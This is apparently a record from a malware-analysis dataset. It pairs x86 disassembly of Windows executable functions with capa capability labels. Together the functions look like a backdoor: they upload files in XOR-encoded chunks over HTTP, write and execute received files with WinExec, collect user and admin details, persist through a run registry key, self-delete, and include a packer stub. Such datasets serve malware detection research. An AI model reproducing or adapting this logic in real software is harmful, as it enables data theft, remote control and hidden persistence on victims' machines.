joyce8/EMBER2024-capa huggingface dataset:
Function at 0x410045
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov esi, dword [ebp + 8]
xor ecx, ecx
mov eax, dword [esi]
mov edx, dword [esi + 4]
bswap eax
bswap edx
mov dword [ebp - 4], ecx
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 8], esp
mov esp, dword [ebp + 0xc]
mov edi, dword [ebp - 4]
xor eax, dword [ecx + edi*4]
mov edi, eax
mov esi, eax
shr edi, 0x18
shr esi, 0x10
and esi, 0xff
mov ebx, dword [esp + edi*4]
add ebx, dword [esp + esi*4 + 0x400]
movzx edi, ah
movzx esi, al
xor ebx, dword [esp + edi*4 + 0x800]
add ebx, dword [esp + esi*4 + 0xc00]
xor ebx, edx
inc dword [ebp - 4]
mov edx, eax
cmp dword [ebp - 4], 0x10
mov eax, ebx
jne 0x410068
mov esp, dword [ebp - 8]
xchg edx, eax
xor edx, dword [ecx + 0x40]
xor eax, dword [ecx + 0x44]
mov esi, dword [ebp + 8]
bswap eax
bswap edx
mov dword [esi], eax
mov dword [esi + 4], edx
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x410140
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov esi, dword [ebp + 8]
xor ecx, ecx
mov eax, dword [esi]
mov edx, dword [esi + 4]
bswap eax
bswap edx
mov dword [ebp - 4], ecx
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 8], esp
mov esp, dword [ebp + 0xc]
mov edi, dword [ebp - 4]
xor eax, dword [ecx + edi*4]
mov edi, eax
mov esi, eax
shr edi, 0x18
shr esi, 0x10
and esi, 0xff
mov ebx, dword [esp + edi*4]
add ebx, dword [esp + esi*4 + 0x400]
movzx edi, ah
movzx esi, al
xor ebx, dword [esp + edi*4 + 0x800]
add ebx, dword [esp + esi*4 + 0xc00]
xor ebx, edx
inc dword [ebp - 4]
mov edx, eax
cmp dword [ebp - 4], 0x10
mov eax, ebx
jne 0x410163
mov esp, dword [ebp - 8]
xchg edx, eax
xor edx, dword [ecx + 0x40]
xor eax, dword [ecx + 0x44]
mov esi, dword [ebp + 8]
bswap eax
bswap edx
mov dword [esi], eax
mov dword [esi + 4], edx
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x41031c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov esi, dword [ebp + 8]
xor ecx, ecx
mov eax, dword [esi]
mov edx, dword [esi + 4]
bswap eax
bswap edx
mov dword [ebp - 4], ecx
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 8], esp
mov esp, dword [ebp + 0xc]
mov edi, dword [ebp - 4]
xor eax, dword [ecx + edi*4]
mov edi, eax
mov esi, eax
shr edi, 0x18
shr esi, 0x10
and esi, 0xff
mov ebx, dword [esp + edi*4]
add ebx, dword [esp + esi*4 + 0x400]
movzx edi, ah
movzx esi, al
xor ebx, dword [esp + edi*4 + 0x800]
add ebx, dword [esp + esi*4 + 0xc00]
xor ebx, edx
inc dword [ebp - 4]
mov edx, eax
cmp dword [ebp - 4], 0x10
mov eax, ebx
jne 0x41033f
mov esp, dword [ebp - 8]
xchg edx, eax
xor edx, dword [ecx + 0x40]
xor eax, dword [ecx + 0x44]
mov esi, dword [ebp + 8]
bswap eax
bswap edx
mov dword [esi], eax
mov dword [esi + 4], edx
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x41352c
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 0x80000301
push 0
push 0x20
push 1
mov ebx, 0x1bc
call fcn.00415770
add esp, 0x10
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x41358d
push ebx
call fcn.004142ca
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
call fcn.00401bb5
mov dword [ebp - 4], eax
mov ebx, dword [ebp + 8]
push dword [ebx]
xor eax, eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
nop
nop
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x4136e5
push edi
push edx
push esi
mov eax, dword [ebp - 8]
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
mov edx, ecx
mov edi, dword [ebp - 4]
mov esi, dword [eax]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop esi
pop edx
pop edi
push 0x80000301
push 0
push 4
push 0x80000301
push 0
push dword [ebp - 4]
push 2
mov ebx, 0x910
call fcn.004163f0
add esp, 0x1c
mov dword [ebp - 0x10], eax
push 0
push 0
push 0
push 0x80000301
push 0
push 3
push getsockname
push 0
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x41363b
mov eax, 0x41a449
push eax
push 3
mov ebx, 0x19c
call fcn.00415cb0
add esp, 0x28
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], ecx
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x413667
push ebx
call fcn.004142ca
add esp, 4
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
cmp ecx, 0x80000101
jne 0x41367f
and eax, 0xff
jmp 0x4136d4
cmp ecx, 0x80000201
jne 0x41368a
cwde
jmp 0x4136d4
cmp ecx, 0x80000301
je 0x4136d4
cmp ecx, 0x80000401
je 0x4136d4
mov dword [ebp - 0x24], eax
cmp ecx, 0x80000501
je 0x4136c4
cmp ecx, 0x80000601
je 0x4136c9
push 0x366
push 0x4010654
push 2
call fcn.004142d6
add esp, 0xc
fld dword [ebp - 0x24]
jmp 0x4136cf
mov dword [ebp - 0x20], edx
fld qword [ebp - 0x24]
call fcn.004020fb
push eax
call fcn.00413707
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
jmp 0x4136ef
mov eax, 0x41a23d
jmp 0x4136ef
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x413700
push ebx
call fcn.004142ca
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4
Function at 0x4168f0
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
mov eax, dword [esp + 8]
cmp edx, 1
jle 0x41690e
push esi
lea ecx, [esp + 0x18]
dec edx
mov esi, dword [ecx]
add ecx, 0xc
xor eax, esi
dec edx
jne 0x416903
pop esi
ret

Function at 0x4174e0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push ebp
mov ebp, edx
push esi
push edi
mov esi, ebp
xor edi, edi
and esi, 3
mov eax, ecx
jle 0x417501
mov dl, byte [eax]
inc eax
cmp dl, bl
je 0x41755b
inc edi
cmp edi, esi
jl 0x4174f5
mov edi, ebx
and edi, 0xff
mov esi, edi
shl esi, 8
or esi, edi
shl esi, 8
or esi, edi
shl esi, 8
or esi, edi
lea edi, [ecx + ebp]
cmp eax, edi
jae 0x417590
mov edx, dword [eax]
xor edx, esi
lea ebp, [edx - 0x1010101]
not edx
and ebp, edx
test ebp, 0x80808080
je 0x41754a
cmp byte [eax], bl
je 0x417565
cmp byte [eax + 1], bl
je 0x41756e
cmp byte [eax + 2], bl
je 0x417578
cmp byte [eax + 3], bl
je 0x417584
add eax, 4
cmp eax, edi
jb 0x417521
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret 4
pop edi
sub eax, ecx
pop esi
pop ebp
dec eax
pop ebx
ret 4
pop edi
pop esi
pop ebp
sub eax, ecx
pop ebx
ret 4
pop edi
sub eax, ecx
pop esi
pop ebp
inc eax
pop ebx
ret 4
pop edi
sub eax, ecx
pop esi
pop ebp
add eax, 2
pop ebx
ret 4
pop edi
sub eax, ecx
pop esi
pop ebp
add eax, 3
pop ebx
ret 4
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret 4

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x40729f
sub eax, 0x407245
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x432030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43201e
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x401290
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x410004]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x103
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call fcn.004063c0
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x108]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4012e8
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403107
mov esp, ebp
pop ebp
ret
mov cl, 0x5c
lea ebx, [ebx]
dec eax
cmp byte [ebp + eax - 0x108], cl
jne 0x4012f0
mov byte [ebp + eax - 0x107], 0
lea eax, [ebp - 0x108]
dec eax
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x401310
mov edx, dword [0x40ea84]
mov ecx, dword [0x40ea88]
push esi
mov dword [eax], edx
lea edx, [ebp - 0x108]
push 0x40ea8c
push edx
mov dword [eax + 4], ecx
call fcn.0040386f
mov esi, eax
add esp, 8
test esi, esi
jne 0x401355
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403107
mov esp, ebp
pop ebp
ret
push ebx
push edi
push 2
push 0
push esi
call fcn.00403f41
push esi
call fcn.00403e52
push 0
push 0
push esi
mov edi, eax
call fcn.00403f41
lea eax, [edi + 0x1a4]
push eax
mov dword [ebp - 0x10c], eax
call fcn.0040371f
mov ebx, eax
add esp, 0x20
mov dword [0x412604], ebx
test ebx, ebx
jne 0x4013a7
pop edi
pop ebx
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403107
mov esp, ebp
pop ebp
ret
push edi
push 0
push ebx
call fcn.004063c0
push esi
push 1
push edi
push ebx
call fcn.00403ad0
push esi
call fcn.0040402a
mov esi, dword [ebp - 0x10c]
mov edx, dword [0x412604]
add esp, 0x20
xor ecx, ecx
test esi, esi
jle 0x4013ea
mov al, byte [ecx + edx]
test al, al
je 0x4013e5
cmp al, 0x56
je 0x4013e5
xor al, 0x56
mov byte [ecx + edx], al
inc ecx
cmp ecx, esi
jl 0x4013d5
mov ecx, dword [ebp - 4]
pop edi
pop ebx
xor ecx, ebp
mov al, 1
pop esi
call fcn.00403107
mov esp, ebp
pop ebp
ret
Function at 0x4018c0
Capabilities:
Connect to http server
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x410004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0xfa
mov dword [ebp - 8], eax
mov esi, ecx
call fcn.0040371f
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x4019f3
push 0xfa
push 0
push ebx
call fcn.004063c0
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [ebp + 0x10]
push eax
push ecx
push esi
push 0x412508
push ebx
call fcn.00403116
mov edi, dword [ebp + 0xc]
add edi, 0x18
push edi
call fcn.0040371f
mov esi, eax
add esp, 0x18
test esi, esi
je 0x4019e8
mov edx, dword [ebp + 0x10]
mov dword [esi], edx
mov dword [esi + 4], edi
mov eax, dword [0x412704]
mov dword [esi + 8], eax
mov ecx, dword [0x412708]
mov dword [esi + 0xc], ecx
mov edx, dword [0x41270c]
mov ecx, dword [ebp + 0xc]
mov dword [esi + 0x10], edx
mov eax, dword [0x412710]
mov edx, dword [ebp - 8]
push ecx
mov dword [esi + 0x14], eax
push edx
lea eax, [esi + 0x18]
push eax
call fcn.00407e20
add esp, 0xc
xor ecx, ecx
test edi, edi
jle 0x40198b
mov al, byte [ecx + esi]
test al, al
je 0x401986
cmp al, 0x59
je 0x401986
xor al, 0x59
mov byte [ecx + esi], al
inc ecx
cmp ecx, edi
jl 0x401976
mov ecx, dword [0x411764]
mov edx, dword [0x412738]
push 0
push 0
push 3
push 0
push 0
push 0x50
push ecx
push edx
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x4019e8
push 0
push 0x100
push 0
push 0
push 0x40eae4
push ebx
push 0x40eaf0
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov dword [ebp - 8], eax
test eax, eax
je 0x4019e8
push edi
push esi
push 0
push 0
push eax
call dword [sym.imp.WININET.dll_HttpSendRequestA]
cmp eax, 1
je 0x401a30
push ebx
call fcn.004036e5
add esp, 4
jmp 0x4019f6
mov esi, dword [ebp - 8]
test esi, esi
je 0x401a03
push esi
call fcn.004036e5
add esp, 4
mov eax, dword [ebp - 0xc]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
test eax, eax
je 0x401a13
push eax
call esi
mov eax, dword [ebp - 8]
test eax, eax
je 0x401a1d
push eax
call esi
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403107
mov esp, ebp
pop ebp
ret
push ebx
call fcn.004036e5
push esi
call fcn.004036e5
mov eax, dword [ebp - 0xc]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
add esp, 8
push eax
call esi
mov ecx, dword [ebp - 8]
push ecx
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.00403107
mov esp, ebp
pop ebp
ret
Function at 0x401cb0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x410004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
cmp byte [eax + 0x10], 0
push ebx
lea ebx, [eax + 0x10]
mov dword [ebp - 0x10c], ebx
je 0x401ce7
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403107
mov esp, ebp
pop ebp
ret
push esi
push edi
push 0x103
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call fcn.004063c0
add esp, 0xc
lea ecx, [ebp - 0x108]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea esi, [ebp - 0x108]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x401d21
sub esi, ecx
lea edi, [esi + 6]
cmp esi, edi
jge 0x401d5f
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
call ebx
xor edx, edx
mov ecx, 0x1a
div ecx
push 1
add dl, 0x61
mov byte [ebp + esi - 0x108], dl
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, edi
jl 0x401d37
mov ebx, dword [ebp - 0x10c]
lea eax, [ebp - 0x108]
pop edi
dec eax
pop esi
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x401d68
mov edx, dword [0x40eaf8]
mov cl, byte [0x40eafc]
mov dword [eax], edx
mov byte [eax + 4], cl
lea eax, [ebp - 0x108]
mov edx, ebx
mov ecx, eax
sub edx, ecx
lea ecx, [ecx]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x401d90
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov al, 1
pop ebx
call fcn.00403107
mov esp, ebp
pop ebp
ret

Function at 0x401db0
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
push esi
call fcn.00401cb0
lea edi, [esi + 0x10]
mov bl, al
push edi
mov eax, edi
call fcn.00401820
add esp, 8
cmp dword [esi], 1
je 0x401ddb
mov eax, dword [0x411770]
cmp eax, 0xffffffff
jne 0x401dfe
push 0
push 0x80
push 1
push 0
push 0
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x411770], eax
cmp eax, 0xffffffff
je 0x401e51
mov ecx, dword [esi + 8]
push 0
push 0
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x401e3b
mov eax, dword [esi + 0xc]
push 0
lea edx, [ebp - 4]
push edx
mov edx, dword [0x411770]
push eax
lea ecx, [esi + 0x114]
push ecx
push edx
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x401e59
mov eax, dword [0x411770]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x411770], 0xffffffff
pop edi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
cmp dword [esi], 3
jne 0x401e82
mov ecx, dword [0x411770]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x411770], 0xffffffff
test bl, bl
je 0x401e82
push 0
push edi
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401ed0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x410004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
push 0
push 0x80
push 3
push 0
push 1
mov edi, ecx
push 0x80000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
mov dword [ebp - 0x214], ebx
cmp ebx, 0xffffffff
je 0x4020d6
push esi
push 0
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x4020ae
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x210], eax
cmp eax, 0xffffffff
je 0x4020ae
test eax, eax
je 0x4020ae
push 4
push 0x1000
push 0x19400
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x4020bc
xor ebx, ebx
push 0x19400
push 0
push esi
call fcn.004063c0
mov eax, dword [ebp - 0x214]
add esp, 0xc
push 0
push 0
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x4020b6
mov eax, dword [ebp - 0x214]
push 0
lea ecx, [ebp - 0x218]
push ecx
push 0x19000
lea edx, [esi + 0x114]
push edx
push eax
mov dword [ebp - 0x218], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4020d5
mov ecx, dword [ebp - 0x218]
mov edx, dword [ebp - 0x210]
lea eax, [esi + 0x10]
push edi
mov dword [esi + 0xc], ecx
mov dword [esi + 8], ebx
mov dword [esi], 2
mov dword [esi + 4], edx
call fcn.00401770
push 0x103
lea eax, [ebp - 0x20b]
push 0
push eax
mov byte [ebp - 0x20c], 0
call fcn.004063c0
push 0x103
lea ecx, [ebp - 0x107]
push 0
push ecx
mov byte [ebp - 0x108], 0
call fcn.004063c0
lea edx, [ebp - 0x20c]
push edx
call fcn.00401e90
push 0x412714
lea eax, [ebp - 0x20c]
push eax
mov eax, 0x51eb851f
mul dword [ebp - 0x210]
shr edx, 0xf
inc edx
push edx
mov eax, 0x51eb851f
mul ebx
shr edx, 0xf
inc edx
push edx
lea ecx, [ebp - 0x108]
push 0x40eb00
push ecx
call fcn.00403116
mov edx, dword [ebp - 0x218]
push 3
add edx, 0x114
push edx
push esi
lea ecx, [ebp - 0x108]
call fcn.004018c0
add esp, 0x44
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
add ebx, 0x19000
cmp ebx, dword [ebp - 0x210]
jbe 0x401f68
mov eax, dword [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4020c7
mov esi, dword [ebp - 0x210]
jmp 0x4020bc
mov ebx, dword [ebp - 0x214]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x4020d5
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
xor al, al
pop ebx
call fcn.00403107
mov esp, ebp
pop ebp
ret
Function at 0x4023a0
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1e0
mov eax, dword [0x410004]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x94
lea eax, [ebp - 0x1cc]
push 0
push eax
mov dword [ebp - 0x1d0], 0
call fcn.004063c0
mov ecx, dword [0x411764]
mov edx, dword [ecx + 0x19c]
add esp, 0xc
mov dword [ebp - 0x1cc], edx
call fcn.00401000
mov dword [ebp - 0x1d0], eax
call fcn.004027f0
movzx eax, al
push 0
mov dword [ebp - 0x1c8], eax
call fcn.0040409e
add esp, 4
add eax, 0x7080
lea ecx, [ebp - 0x1e0]
adc edx, 0
push ecx
mov dword [ebp - 0x1e0], eax
mov dword [ebp - 0x1dc], edx
call fcn.004036be
mov edx, dword [eax + 0x14]
mov dword [ebp - 0x1c4], edx
mov ecx, dword [eax + 0x10]
inc ecx
mov dword [ebp - 0x1c0], ecx
mov edx, dword [eax + 0xc]
mov dword [ebp - 0x1bc], edx
mov ecx, dword [eax + 8]
mov dword [ebp - 0x1b8], ecx
mov edx, dword [eax + 4]
mov dword [ebp - 0x1b4], edx
mov eax, dword [eax]
add esp, 4
mov dword [ebp - 0x1b0], eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x402472
mov eax, 1
jmp 0x40249e
call fcn.00401000
cmp eax, 4
jge 0x402483
mov eax, 3
jmp 0x40249e
call fcn.00402f10
cmp eax, 1
jne 0x402494
mov eax, 2
jmp 0x40249e
neg eax
sbb eax, eax
and eax, 0xfffffffd
add eax, 3
push 0x12b
lea ecx, [ebp - 0x137]
push 0
push ecx
mov dword [ebp - 0x1ac], eax
mov byte [ebp - 0x138], 0
call fcn.004063c0
add esp, 0xc
lea edx, [ebp - 0x1d4]
push edx
lea eax, [ebp - 0x138]
push eax
mov dword [ebp - 0x1d4], 0x12c
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
jne 0x4024f7
push 0x64
push eax
lea ecx, [ebp - 0x1a8]
push ecx
call fcn.004063c0
add esp, 0xc
jmp 0x402513
lea edx, [ebp - 0x138]
push edx
lea eax, [ebp - 0x1a8]
mov byte [ebp - 0x110], 0
call fcn.00401770
add esp, 4
mov eax, dword [0x4110c0]
mov ecx, dword [0x4110c4]
mov edx, dword [0x4110c8]
push 0
mov dword [ebp - 0x144], eax
lea eax, [ebp - 0x1d0]
mov dword [ebp - 0x140], ecx
push 0x98
push eax
mov ecx, 0x412714
mov dword [ebp - 0x13c], edx
call fcn.004018c0
mov ecx, dword [ebp - 4]
xor ecx, ebp
add esp, 0xc
call fcn.00403107
mov esp, ebp
pop ebp
ret
Function at 0x40275f
Capabilities:
Delete registry key
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x214
mov eax, dword [0x410004]
xor eax, esp
mov dword [esp + 0x210], eax
cmp dword [0x4110d0], 0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push edi
je 0x402643
push 0xea60
call ebx
xor eax, eax
mov dword [esp + 0xc], 0
call fcn.00401400
call fcn.004023a0
test al, al
jne 0x4026b1
xor esi, esi
lea ecx, [ecx]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x14
div ecx
add edx, 0xf
imul edx, edx, 0x3e8
push edx
call ebx
call fcn.004023a0
cmp al, 1
je 0x4026b1
inc esi
cmp esi, 3
jl 0x402660
mov eax, dword [0x412740]
inc eax
mov dword [0x412740], eax
call fcn.00401400
test al, al
jne 0x402652
push 0x36ee80
mov dword [0x412740], 0
call ebx
jmp 0x402652
lea edx, [esp + 0xc]
push edx
call fcn.00401b50
mov edi, eax
add esp, 4
test edi, edi
jne 0x4026d7
mov eax, dword [0x411764]
mov ecx, dword [eax + 0x19c]
push ecx
call ebx
jmp 0x402652
mov eax, dword [edi]
dec eax
lea esi, [edi + 0x18]
cmp eax, 6
ja case.default.0x4026e6
jmp dword [eax*4 + 0x4027c8]
mov ecx, esi
call fcn.004020f0
jmp 0x4027b3
call fcn.00401db0
jmp 0x4027b3
push 0x207
lea edx, [esp + 0x15]
push 0
push edx
mov byte [esp + 0x1c], 0
call fcn.004063c0
lea eax, [esp + 0x1c]
add esp, 0xc
push eax
mov eax, esi
call fcn.00401820
add esp, 4
lea ecx, [esp + 0x10]
call fcn.00401ed0
jmp 0x4027b3
push 0
push esi
call dword [sym.imp.KERNEL32.dll_WinExec]
jmp 0x4027b3
mov esi, dword [esi]
lea ecx, [esi - 0x3e9]
cmp ecx, 0x83d216
ja 0x4027b3
mov edx, dword [0x411764]
mov dword [edx + 0x19c], esi
jmp 0x4027b3
cmp dword [esi], 0x378
jne 0x4027b3
lea edx, [esp + 0xc]
push edx
push 0x40eb18
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x402790
mov eax, dword [esp + 0xc]
push 0x40eb48
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.00403080
call fcn.00402560
mov eax, dword [0x411764]
mov ecx, dword [eax + 0x19c]
push ecx
call ebx
push 0x3e8
call ebx
push edi
call fcn.004036e5
add esp, 4
jmp 0x402652
Function at 0x4027f0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x254
mov eax, dword [0x410004]
xor eax, esp
mov dword [esp + 0x250], eax
push ebx
xor ebx, ebx
push 0x103
lea eax, [esp + 0x14d]
push ebx
push eax
mov byte [esp + 0x154], bl
call fcn.004063c0
add esp, 0xc
push 0x104
lea ecx, [esp + 0x14c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [esp + 0x148]
mov byte [esp + 0x14b], bl
dec eax
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
cmp cl, bl
jne 0x402850
mov edx, dword [0x40eb74]
mov ecx, dword [0x40eb78]
mov dword [eax], edx
mov edx, dword [0x40eb7c]
mov dword [eax + 4], ecx
mov ecx, dword [0x40eb80]
mov dword [eax + 8], edx
mov edx, dword [0x40eb84]
mov dword [eax + 0xc], ecx
mov dword [eax + 0x10], edx
lea eax, [esp + 8]
push eax
lea ecx, [esp + 0x14c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x4028a5
test byte [esp + 8], 0x10
je 0x4028a5
mov bl, 1
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [esp + 0x254]
mov al, bl
pop ebx
xor ecx, esp
call fcn.00403107
mov esp, ebp
pop ebp
ret
Function at 0x403080
Capabilities:
Create process on windows
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [0x410004]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov eax, dword [0x4117a0]
push 0
push eax
push 5
push 4
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
mov ecx, dword [0x4117a0]
push ecx
lea edx, [ebp - 0x114]
push 0x40ebcc
push edx
call fcn.00403116
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x114]
push eax
push 0x40ebec
push 0x40ebf4
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x403107
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410004]
jne 0x403111
repz ret
jmp fcn.0040428f